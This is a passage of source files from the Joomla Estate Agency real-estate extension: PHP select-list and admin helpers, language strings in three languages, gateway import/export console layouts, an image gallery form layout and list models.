	 *
	 * @param   string  $value  The selected value
	 * @param   string  $name   The element name
	 * @param   mixed   $attr   An array or a string of element attributes
	 *
	 * @return  string HTML for the select list.
	 */
	static public function types($value = 0, $name = 'type_id',
$attr = '')
	{
		$cond = self::getLanguageCondition();

		return self::getHTMLSelectList($value, $name,
'COM_JEA_FIELD_PROPERTY_TYPE_LABEL', $attr, 'types',
$cond, 'f.ordering');
	}

	/**
	 * Method to get departments in a HTML <select> element
	 *
	 * @param   string  $value  The selected value
	 * @param   string  $name   The element name
	 * @param   mixed   $attr   An array or a string of element attributes
	 *
	 * @return  string HTML for the select list.
	 */
	static public function departments($value = 0, $name =
'department_id', $attr = '')
	{
		return self::getHTMLSelectList($value, $name,
'COM_JEA_FIELD_DEPARTMENT_LABEL', $attr,
'departments');
	}

	/**
	 * Method to get towns in a HTML <select> element
	 *
	 * @param   string  $value          The selected value
	 * @param   string  $name           The element name
	 * @param   mixed   $attr           An array or a string of element
attributes
	 * @param   string  $department_id  To get the department town list
	 *
	 * @return  string HTML for the select list.
	 */
	static public function towns($value = 0, $name = 'town_id',
$attr = '', $department_id = null)
	{
		$condition = '';

		if ($department_id !== null)
		{
			// Potentially Too much results so this will give en empty result
			$condition = 'f.department_id = -1';

			if ($department_id > 0)
			{
				$condition = 'f.department_id =' . intval($department_id);
			}
		}

		return self::getHTMLSelectList($value, $name,
'COM_JEA_FIELD_TOWN_LABEL', $attr, 'towns',
$condition);
	}

	/**
	 * Method to get areas in a HTML <select> element
	 *
	 * @param   string  $value    The selected value
	 * @param   string  $name     The element name
	 * @param   mixed   $attr     An array or a string of element attributes
	 * @param   string  $town_id  To get the town area list
	 *
	 * @return  string HTML for the select list.
	 */
	static public function areas($value = 0, $name = 'area_id',
$attr = '', $town_id = null)
	{
		$condition = '';

		if ($town_id !== null)
		{
			$condition = 'f.town_id = -1';

			if ($town_id > 0)
			{
				$condition = 'f.town_id =' . intval($town_id);
			}
		}

		return self::getHTMLSelectList($value, $name,
'COM_JEA_FIELD_AREA_LABEL', $attr, 'areas',
$condition);
	}

	/**
	 * Method to get conditions in a HTML <select> element
	 *
	 * @param   string  $value  The selected value
	 * @param   string  $name   The element name
	 * @param   mixed   $attr   An array or a string of element attributes
	 *
	 * @return  string HTML for the select list.
	 */
	static public function conditions($value = 0, $name =
'condition_id', $attr = '')
	{
		$cond = self::getLanguageCondition();

		return self::getHTMLSelectList($value, $name,
'COM_JEA_FIELD_CONDITION_LABEL', $attr, 'conditions',
$cond);
	}

	/**
	 * Method to get hot water types in a HTML <select> element
	 *
	 * @param   string  $value  The selected value
	 * @param   string  $name   The element name
	 * @param   mixed   $attr   An array or a string of element attributes
	 *
	 * @return  string HTML for the select list.
	 */
	static public function hotwatertypes($value = 0, $name =
'hot_water_type', $attr = '')
	{
		$cond = self::getLanguageCondition();

		return self::getHTMLSelectList($value, $name,
'COM_JEA_FIELD_HOTWATERTYPE_LABEL', $attr,
'hotwatertypes', $cond);
	}

	/**
	 * Method to get hot heating types in a HTML <select> element
	 *
	 * @param   string  $value  The selected value
	 * @param   string  $name   The element name
	 * @param   mixed   $attr   An array or a string of element attributes
	 *
	 * @return  string HTML for the select list.
	 */
	static public function heatingtypes($value = 0, $name =
'heating_type', $attr = '')
	{
		$cond = self::getLanguageCondition();

		return self::getHTMLSelectList($value, $name,
'COM_JEA_FIELD_HEATINGTYPE_LABEL', $attr,
'heatingtypes', $cond);
	}

	/**
	 * Method to get slogans in a HTML <select> element
	 *
	 * @param   string  $value  The selected value
	 * @param   string  $name   The element name
	 * @param   mixed   $attr   An array or a string of element attributes
	 *
	 * @return  string HTML for the select list.
	 */
	static public function slogans($value = 0, $name = 'slogan_id',
$attr = '')
	{
		$cond = self::getLanguageCondition();

		return self::getHTMLSelectList($value, $name,
'COM_JEA_FIELD_SLOGAN_LABEL', $attr, 'slogans', $cond);
	}

	/**
	 * Generic method to get HTML list of feature in a <select> element
	 *
	 * @param   string  $value               The selected value
	 * @param   string  $name                The element name
	 * @param   string  $defaultOptionLabel  The first option label
	 * @param   mixed   $attr                An array or a string of element
attributes
	 * @param   string  $featureTable        The feature table name without
the prefix "#__jea_"
	 * @param   mixed   $conditions          A string or an array of where
conditions to filter the database request
	 * @param   string  $ordering            The list ordering
	 *
	 * @return  string  HTML for the select list.
	 */
	static public function getHTMLSelectList($value = 0, $name = '',
$defaultOptionLabel = 'JOPTION_ANY',
		$attr = '', $featureTable = '', $conditions = null,
$ordering = 'f.value asc'
	)
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);

		$query->select('f.id , f.value');
		$query->from('#__jea_' . $featureTable . ' AS f');

		if (! empty($conditions))
		{
			if (is_string($conditions))
			{
				$query->where($conditions);
			}
			elseif (is_array($conditions))
			{
				foreach ($conditions as $condition)
				{
					$query->where($condition);
				}
			}
		}

		$query->order($ordering);
		$db->setQuery($query);
		$items = $db->loadObjectList();

		// Assemble the list options.
		$options = array();
		$options[] = JHTML::_('select.option', '', '-
' . JText::_($defaultOptionLabel) . ' -&nbsp;');

		foreach ($items as &$item)
		{
			$options[] = JHtml::_('select.option', $item->id,
$item->value);
		}

		// Manage attributes
		$idTag = false;

		if (is_array($attr))
		{
			if (isset($attr['id']))
			{
				$idTag = $attr['id'];
				unset($attr['id']);
			}

			if (empty($attr['size']))
			{
				$attr['size'] = 1;
			}

			if (empty($attr['class']))
			{
				$attr['class'] = 'inputbox';
			}

			$attr['class'] = trim($attr['class']);
		}
		else
		{
			if ((float) JVERSION > 3 &&
JFactory::getApplication()->isClient('administrator'))
			{
				$attr = 'class="inputbox span12 small"
size="1" ' . $attr;
			}
			else
			{
				$attr = 'class="inputbox" size="1" ' .
$attr;
			}
		}

		return JHTML::_('select.genericlist', $options, $name, $attr,
'value', 'text', $value, $idTag);
	}

	/**
	 * Get language condition
	 *
	 * @return  string
	 */
	protected static function getLanguageCondition()
	{
		$condition = '';

		if (JFactory::getApplication()->isClient('site'))
		{
			$db = JFactory::getDbo();
			$condition = 'f.language in (' .
$db->quote(JFactory::getLanguage()->getTag()) . ',' .
$db->quote('*') . ')';
		}

		return $condition;
	}
}
helpers/html/contentadministrator.php000064400000003070151165726350014151
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Content administrator html helper class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
abstract class JHtmlContentAdministrator
{
	/**
	 * Helper to display the featured icon in a list of items
	 *
	 * @param   int      $value      The state value
	 * @param   int      $i          The list counter value
	 * @param   boolean  $canChange  The user right to change the state
	 *
	 * @return string
	 */
	static public function featured($value = 0, $i = 0, $canChange = true)
	{
		// Array of image, task, title, action
		$states = array(
			0 => array(
				'disabled.png',
				'properties.featured',
				'COM_JEA_UNFEATURED',
				'COM_JEA_TOGGLE_TO_FEATURE'
			),
			1 => array(
				'featured.png',
				'properties.unfeatured',
				'COM_JEA_FEATURED',
				'COM_JEA_TOGGLE_TO_UNFEATURE'
			)
		);

		$state = ArrayHelper::getValue($states, (int) $value, $states[1]);
		$html = JHtml::_('image', 'admin/' . $state[0],
JText::_($state[2]), null, true);

		if ($canChange)
		{
			$html = '<a href="#" onclick="return
listItemTask(\'cb' . $i . '\',\'' . $state[1]
. '\')" title="' . JText::_($state[3]) .
'">'
					. $html . '</a>';
		}

		return $html;
	}
}
language/es-ES/es-ES.com_jea.sys.ini000064400000002077151165726350013112
0ustar00; @author     Roberto Segura
; @license    http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
; @note       Complete
; @note       All ini files need to be saved as UTF-8

COM_JEA="Joomla Estate Agency"
JEA="Joomla Estate Agency"
COM_JEA_FEATURES="Administrar auxiliares"
COM_JEA_PROPERTIES_DEFAULT_LAYOUT_TITLE="Inmuebles"
COM_JEA_PROPERTIES_DEFAULT_LAYOUT_DESC="Mostrar un listado de
inmuebles"
COM_JEA_PROPERTIES="Administrar inmuebles"
COM_JEA_PROPERTIES_MANAGE_LAYOUT_TITLE="Administración de
inmuebles"
COM_JEA_PROPERTIES_MANAGE_LAYOUT_DESC="Mostrar un listado de
propiedades administrables por un usuario"
COM_JEA_FORM_EDIT_LAYOUT_TITLE="Formulario de inmueble"
COM_JEA_FORM_EDIT_LAYOUT_DESC="Mostrar un formulario para dar de alta
un inmueble"
COM_JEA_PROPERTIES_SEARCH_LAYOUT_TITLE="Búsqueda"
COM_JEA_PROPERTIES_SEARCH_LAYOUT_DESC="Mostrar un formulario de
búsqueda"
COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_TITLE="Búsqueda
geolocalizada"
COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_DESC="Mostrar un formulario de
búsqueda interactuando con un mapa de Google"
COM_JEA_TOOLS="Herramientas"language/en-GB/en-GB.com_jea.sys.ini000064400000002025151165726350013033
0ustar00; Author Sylvain Philip
; Copyright (C) 2008 PHILIP Sylvain. All rights reserved.
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
; Note : All ini files need to be saved as UTF-8

COM_JEA="Joomla Estate Agency"
JEA="Joomla Estate Agency"
COM_JEA_FEATURES="Manage features"
COM_JEA_PROPERTIES_DEFAULT_LAYOUT_TITLE="Properties layout"
COM_JEA_PROPERTIES_DEFAULT_LAYOUT_DESC="Display a list of
properties"
COM_JEA_PROPERTIES="Manage properties"
COM_JEA_PROPERTIES_MANAGE_LAYOUT_TITLE="Properties management
layout"
COM_JEA_PROPERTIES_MANAGE_LAYOUT_DESC="Display a list of properties
which can be managed by an user"
COM_JEA_FORM_EDIT_LAYOUT_TITLE="Form layout"
COM_JEA_FORM_EDIT_LAYOUT_DESC="Display a form to submit a new
property"
COM_JEA_PROPERTIES_SEARCH_LAYOUT_TITLE="Search layout"
COM_JEA_PROPERTIES_SEARCH_LAYOUT_DESC="Display a search form"
COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_TITLE="Geolocalized search
layout"
COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_DESC="Display a search form
interacting with a Google map"
COM_JEA_TOOLS="Tools"language/fr-FR/fr-FR.com_jea.sys.ini000064400000002153151165726370013107
0ustar00; @author     Sylvain Philip
; @copyright  (C) 2008 - 2020 PHILIP Sylvain. All rights reserved.
; @license    http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
; @note       Complete
; @note       All ini files need to be saved as UTF-8

COM_JEA="Joomla Estate Agency"
JEA="Joomla Estate Agency"
COM_JEA_FEATURES="Gérer les critères"
COM_JEA_PROPERTIES_DEFAULT_LAYOUT_TITLE="Liste des biens"
COM_JEA_PROPERTIES_DEFAULT_LAYOUT_DESC="Affiche une liste de
biens"
COM_JEA_PROPERTIES="Gérer les biens"
COM_JEA_PROPERTIES_MANAGE_LAYOUT_TITLE="Gestion des biens"
COM_JEA_PROPERTIES_MANAGE_LAYOUT_DESC="Affiche une liste de biens
pouvant être administrés par un utilisateur"
COM_JEA_FORM_EDIT_LAYOUT_TITLE="Formulaire"
COM_JEA_FORM_EDIT_LAYOUT_DESC="Affiche un formulaire pour soumettre un
nouveau bien"
COM_JEA_PROPERTIES_SEARCH_LAYOUT_TITLE="Recherche"
COM_JEA_PROPERTIES_SEARCH_LAYOUT_DESC="Affiche un formulaire de
recherche"
COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_TITLE="Recherche
géolocalisée"
COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_DESC="Affiche un formulaire de
recherche intéragissant avec une Google map"
COM_JEA_TOOLS="Outils"
layouts/jea/gateways/nav.php000064400000001744151165726370012147
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/* @var $displayData array */

$action = $displayData['action'];
$view = $displayData['view'];
?>

<ul class="nav nav-pills">
	<li<?php if ($view == 'console') echo  '
class="active"' ?>>
		<a href="<?php echo
JRoute::_('index.php?option=com_jea&view=gateways&layout='
. $action) ?>">
		<span class="icon-play"></span> <?php echo
JText::_('COM_JEA_'. strtoupper($action))?></a>
	</li>

	<li<?php if ($view == 'gateways') echo  '
class="active"' ?>>
		<a href="<?php echo
JRoute::_('index.php?option=com_jea&view=gateways&filter[type]='
. $action) ?>">
		<span class="icon-list"></span> <?php echo
JText::_('COM_JEA_GATEWAYS')?></a>
	</li>
</ul>layouts/jea/gateways/consoles.php000064400000001765151165726370013213
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/* @var $displayData array */

$action = $displayData['action'];

echo JHtml::_('bootstrap.startTabSet',
'consoles-panel', array('active' =>
'console-ajax'));

echo JHtml::_('bootstrap.addTab', 'consoles-panel',
'console-ajax', JText::_('COM_JEA_'.
strtoupper($action) . '_AJAX'));

echo JLayoutHelper::render('jea.gateways.console.ajax',
$displayData);

echo JHtml::_('bootstrap.endTab');

echo JHtml::_('bootstrap.addTab', 'consoles-panel',
'console-cli', JText::_('COM_JEA_'. strtoupper($action)
. '_CLI'));

echo JLayoutHelper::render('jea.gateways.console.cli',
$displayData);

echo JHtml::_('bootstrap.endTab');

echo JHtml::_('bootstrap.endTabSet');
?>

layouts/jea/gateways/console/cli.php000064400000004521151165726370013570
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/* @var $displayData array */

$action = $displayData['action'];

$script = <<<JS
jQuery(document).ready(function($) {

	$('#php-interpreter').on('keyup', function(e) {
		var text =
$('#cli-command').text().replace(/^[a-zA-Z0-9-_./]+/,
this.value);
		$('#cli-command').text(text);
	});

	$( "#cli-form" ).submit(function(e) {
		e.preventDefault();
		$('#cli-console').empty();
		$('#cli-launch').toggleClass('active');

		var token =
$(this).find("input[type='hidden']").attr('name');

		var data = {
			php_interpreter: $('#php-interpreter').val(),
		};

		data[''+token] = 1;

		$.post($(this).attr('action'), data).done(function(data) {
			$('#cli-launch').toggleClass('active');
			$("#cli-console").text(data);
		});
	});
});
JS;

$document = JFactory::getDocument();
$document->addScriptDeclaration($script);
?>

<form action="<?php echo
JRoute::_('index.php?option=com_jea&task=gateways.'. $action)
?>" class="form-horizontal" id="cli-form"
method="post" >

	<div class="control-group">
		<label for="php-interpreter" class="control-label"
><?php echo JText::_('COM_JEA_FIELD_PHP_INTERPRETER_LABEL')
?></label>
		<div class="controls">
			<input class="input-small" type="text"
name="php_interpreter" id="php-interpreter"
value="php" />
		</div>
	</div>

	<p><?php echo JText::_('COM_JEA_FIELD_COMMAND_LABEL')
?></p>

	<?php if ($action == 'export') :?>
	<pre id="cli-command"><?php echo 'php ' .
JPATH_COMPONENT_ADMINISTRATOR . '/cli/gateways.php --export
--basedir="' . JPATH_ROOT . '" --baseurl="' .
JUri::root() . '"' ?></pre>
	<?php else: ?>
	<pre id="cli-command"><?php echo 'php ' .
JPATH_COMPONENT_ADMINISTRATOR . '/cli/gateways.php --import
--basedir="' . JPATH_ROOT . '"' ?></pre>
	<?php endif ?>

	<div>
		<?php echo JHtml::_('form.token'); ?>
		<button type="submit" id="cli-launch"
class="btn btn-success has-spinner">
			<span class="spinner"><i class="jea-icon-spin
icon-refresh"></i></span>
			<?php echo JText::_('COM_JEA_LAUNCH')?>
		</button>
	</div>

	<pre id="cli-console"
class="console"></pre>

</form>
layouts/jea/gateways/console/ajax.php000064400000003620151165726370013743
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/* @var $displayData array */

require_once JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/dispatcher.php';

JHTML::script('media/com_jea/js/console.js');

JText::script('COM_JEA_GATEWAY_IMPORT_TIME_REMAINING', true);
JText::script('COM_JEA_GATEWAY_IMPORT_TIME_ELAPSED', true);

$action = $displayData['action'];

$dispatcher = GatewaysEventDispatcher::getInstance();
$dispatcher->loadGateways($action);
$dispatcher->trigger('initWebConsole');

$script = <<<JS
function GatewaysActionDispatcher() {

	this.queue = []

	this.register = function(action) {
		this.queue.push(action)
	}

	this.nextAction = function()
	{
		if (this.queue.length > 0) {
			var nextAction = this.queue.shift()
			nextAction()
		}
	}
}

jQuery(document).ready(function($) {
	var dispatcher = new GatewaysActionDispatcher();
	
	$(this).on('gatewayActionDone', function(e) {
		$('#console').append($('<br>'));
		if (dispatcher.queue.length == 0) {
			$('#ajax-launch').toggleClass('active');
		} else {
			dispatcher.nextAction();
		}
	});

	$('#ajax-launch').on('click', function(e) {
		$(this).toggleClass('active');
		$('#console').empty();
		$(document).trigger('registerGatewayAction',
[$('#console').console(), dispatcher]);
		dispatcher.nextAction();
	});
});
JS;

$document = JFactory::getDocument();
$document->addScriptDeclaration($script);
?>

<button id="ajax-launch" class="btn btn-success
has-spinner">
<span class="spinner"><i class="jea-icon-spin
icon-refresh"></i></span>
<?php echo JText::_('COM_JEA_'. strtoupper($action) .
'_LAUNCH')?>
</button>

<div id="console" class="console"></div>






layouts/jea/fields/gallery.php000064400000006177151165726370012451
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/* @var $displayData array */

$uploadNumber = (int) $displayData['uploadNumber'];
$images = $displayData['images'];
$name = $displayData['name'];

JHtml::_('behavior.modal');
JHtml::script('media/com_jea/js/admin/gallery.js');
?>

<p>
<?php for ($i = 0; $i < $uploadNumber; $i ++): ?>
	<input type="file" name="newimages[]"
value=""  size="30" class="fltnone" />
	<br />
<?php endfor?>
</p>

<?php if (!extension_loaded('gd')): // Alert & return if
GD library for PHP is not enabled  ?>
	<div class="alert alert-warning">
	<strong>WARNING: </strong>The <a
href="http://php.net/manual/en/book.image.php"
target="_blank">
	GD library for PHP</a> was not found. Ensure to install
it.</div>
	<?php return ?>
<?php endif ?>

<ul class="gallery">

<?php foreach ($images as $k => $image): ?>

	<li class="item-<?php echo $k ?>">
		<?php
		if (isset($image->error)){
			echo $image->error;
			continue;
		}
		?>

		<a href="<?php echo $image->url ?>"
title="Zoom" class="imgLink modal" rel="{handler:
'image'}">
			<img src="<?php echo $image->thumbUrl ?>"
alt="<?php echo $image->name ?>" />
		</a>
		<div class="imgInfos">
			<?php echo $image->name ?><br />
			<?php echo JText::_('COM_JEA_WIDTH') ?> :  <?php echo
$image->width ?> px<br />
			<?php echo JText::_('COM_JEA_HEIGHT') ?> : <?php echo
$image->height ?> px<br />
		</div>

		<div class="imgTools">
			<a class="img-move-up" title="<?php echo
JText::_('JLIB_HTML_MOVE_UP') ?>">
				<?php echo
JHtml::image('media/com_jea/images/sort_asc.png', "Move
up")?>
			</a>
			<a class="img-move-down" title="<?php echo
JText::_('JLIB_HTML_MOVE_DOWN') ?>">
				<?php echo
JHtml::image('media/com_jea/images/sort_desc.png', "Move
down")?>
			</a>
			<a class="delete-img" title="<?php echo
JText::_('JACTION_DELETE') ?>">
				<?php echo
JHtml::image('media/com_jea/images/media_trash.png',
"Delete")?>
			</a>
		</div>

		<div class="clearfix"></div>

		<div class="control-group">
			<div class="control-label">
				<label for="<?php echo $name . $k ?>title">
<?php echo JText::_('JGLOBAL_TITLE') ?></label>
			</div>
			<div class="controls">
				<input id="<?php echo $name. $k ?>title"
					type="text"
					name="<?php echo $name?>[<?php echo $k
?>][title]"
					value="<?php echo $image->title ?>"
					size="20"
				/>
			</div>
		</div>

		<div class="control-group">
			<div class="control-label">
				<label for="<?php echo $name . $k
?>desc"><?php echo JText::_('JGLOBAL_DESCRIPTION')
?></label>
			</div>
			<div class="controls">
				<input id="<?php echo $name. $k ?>desc"
					type="text"
					name="<?php echo $name?>[<?php echo $k
?>][description]"
					value="<?php echo $image->description ?>"
					size="40"
				/>
				<input type="hidden" name="<?php echo
$name?>[<?php echo $k ?>][name]" value="<?php echo
$image->name ?>" />
			</div>
		</div>
	</li>

<?php endforeach?>
</ul>
models/gateway.php000064400000005572151165726370010227 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Filesystem\File;

require_once JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/dispatcher.php';

/**
 * Gateway model class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @see         JModelAdmin
 *
 * @since       3.4
 */
class JeaModelGateway extends JModelAdmin
{
	/**
	 * Overrides parent method
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data
(default case), false if not.
	 *
	 * @return  JForm|boolean  A JForm object on success, false on failure
	 *
	 * @see JModelForm::getForm()
	 */
	public function getForm($data = array(), $loadData = true)
	{
		$app = JFactory::getApplication();
		$type =
$app->getUserStateFromRequest('com_jea.gateway.type',
'type', '', 'cmd');

		// @var $form JForm

		$form = $this->loadForm('com_jea.' . $type, $type,
array('control' => 'jform', 'load_data'
=> false));

		if (empty($form))
		{
			return false;
		}

		$item = $this->getItem($app->input->getInt('id', 0));

		// Load gateway params
		if ($item->id)
		{
			$formConfigFile = JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/providers/' . $item->provider . '/' .
$item->type . '.xml';

			if (File::exists($formConfigFile))
			{
				// Try to load provider language file
				JFactory::getLanguage()->load($item->provider, JPATH_COMPONENT,
null, false, false);

				$gatewayForm = $this->loadForm('com_jea.' . $item->type
. '.' . $item->provider, $formConfigFile,
array('load_data' => false));
				$form->load($gatewayForm->getXml());
			}

			$dispatcher = GatewaysEventDispatcher::getInstance();
			$dispatcher->loadGateway($item);
			$dispatcher->trigger('onPrepareForm',
array('form' => $form));

			$data = $this->loadFormData();
			$form->bind($data);
		}

		return $form;
	}

	/**
	 * Overrides parent method
	 *
	 * @return  array  The default data is an empty array.
	 *
	 * @see JModelForm::loadFormData()
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data. See
JControllerForm::save()
		$data =
JFactory::getApplication()->getUserState('com_jea.edit.gateway.data',
array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		return $data;
	}

	/**
	 * Overrides parent method
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success, False on error.
	 *
	 * @see JModelAdmin::save()
	 */
	public function save($data)
	{
		if (isset($data['params']) &&
is_array($data['params']))
		{
			$data['params'] = json_encode($data['params']);
		}

		return parent::save($data);
	}
}
models/gateways.php000064400000003134151165726370010402 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Gateways model class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @see         JModelList
 *
 * @since       3.4
 */
class JeaModelGateways extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration
settings.
	 *
	 * @see     JModelList
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id',
				'title',
				'provider',
				'published',
				'ordering',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Overrides parent method
	 *
	 * @return  JDatabaseQuery  A JDatabaseQuery object to retrieve the data
set.
	 *
	 * @see JModelList::getListQuery()
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		$query->select('*');
		$query->from('#__jea_gateways');

		if ($type = $this->state->get('filter.type'))
		{
			$query->where('type=' . $db->Quote($type));
		}

		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering',
'id');
		$orderDirn = $this->state->get('list.direction',
'desc');

		$query->order($db->escape($orderCol . ' ' . $orderDirn));

		return $query;
	}
}
models/featurelist.php000064400000013050151165726370011103 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Filesystem\Folder;

/**
 * Feature list model class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @see         JModelList
 *
 * @since       2.0
 */
class JeaModelFeaturelist extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration
settings.
	 *
	 * @see JModelList
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'f.id',
				'f.value',
				'f.ordering',
				'l.title',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string A store id.
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('feature.name');
		$id .= ':' . $this->getState('filter.search');

		$filters = $this->getState('feature.filters');

		if (is_array($filters) && !empty($filters))
		{
			foreach ($filters as $filter)
			{
				$state = $this->getState('filter.' . $filter);

				if (!empty($state))
				{
					$id .= ':' . $state;
				}
			}
		}

		return parent::getStoreId($id);
	}

	/**
	 * Overrides parent method
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @see JModelList::populateState()
	 */
	protected function populateState($ordering = 'f.id', $direction
= 'desc')
	{
		// The active feature
		$feature = $this->getUserStateFromRequest($this->context .
'.feature.name', 'feature');
		$this->setState('feature.name', $feature);

		$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		// Retrieve the feature table params
		$xmlPath = JPATH_COMPONENT . '/models/forms/features/';
		$xmlFiles = Folder::files($xmlPath);

		foreach ($xmlFiles as $filename)
		{
			$matches = array();

			if (preg_match('/^[0-9]{2}-([a-z]*).xml/', $filename,
$matches))
			{
				if ($feature == $matches[1])
				{
					$form = simplexml_load_file($xmlPath . '/' . $filename);
					$this->setState('feature.form', $form);
					$this->setState('feature.table', (string)
$form['table']);

					$filterFields =
$form->xpath("/form/fields[@name='filter']");
					$filters = array();

					if (isset($filterFields[0]) && $filterFields[0] instanceof
SimpleXMLElement)
					{
						foreach ($filterFields[0]->children() as $filterField)
						{
							$filter = (string) $filterField['name'];
							$filterState = $this->getUserStateFromRequest($this->context .
'.filter.' . $filter, 'filter_' . $filter,
'');
							$this->setState('filter.' . $filter, $filterState);
							$filters[] = $filter;
							$this->filter_fields[] = $filter;
						}
					}

					$this->setState('feature.filters', $filters);

					// Check if this feature uses language
					$lang =
$form->xpath("//field[@name='language']");

					if (!empty($lang))
					{
						$this->setState('language_enabled', true);
					}

					break;
				}
			}
		}

		parent::populateState($ordering, $direction);
	}

	/**
	 * Get the filter form
	 *
	 * @param   array    $data      data
	 * @param   boolean  $loadData  load current data
	 *
	 * @return  \JForm|boolean  The \JForm object or false on error
	 *
	 * @since   3.2
	 */
	public function getFilterForm($data = array(), $loadData = true)
	{
		$form = parent::getFilterForm($data, $loadData);

		if ($form instanceof JForm)
		{
			$featureForm = $this->getState('feature.form');

			if ($featureForm instanceof SimpleXMLElement)
			{
				$form->load($featureForm);

				if ($loadData)
				{
					$data = $this->loadFormData();
					$form->bind($data);
				}
			}
		}

		return $form;
	}


	/**
	 * Overrides parent method
	 *
	 * @return  JDatabaseQuery  A JDatabaseQuery object to retrieve the data
set.
	 *
	 * @see JModelList::getListQuery()
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		$query->select('f.*')->from($db->escape($this->getState('feature.table'))
. ' AS f');

		// Join over the language
		if ($this->getState('language_enabled'))
		{
			$query->select('l.title AS language_title');
			$query->join('LEFT',
$db->quoteName('#__languages') . ' AS l ON l.lang_code =
f.language');
		}

		if ($filters = $this->getState('feature.filters'))
		{
			foreach ($filters as $filter)
			{
				if ($filterState = $this->getState('filter.' . $filter,
''))
				{
					$query->where('f.' . $filter . ' =' .
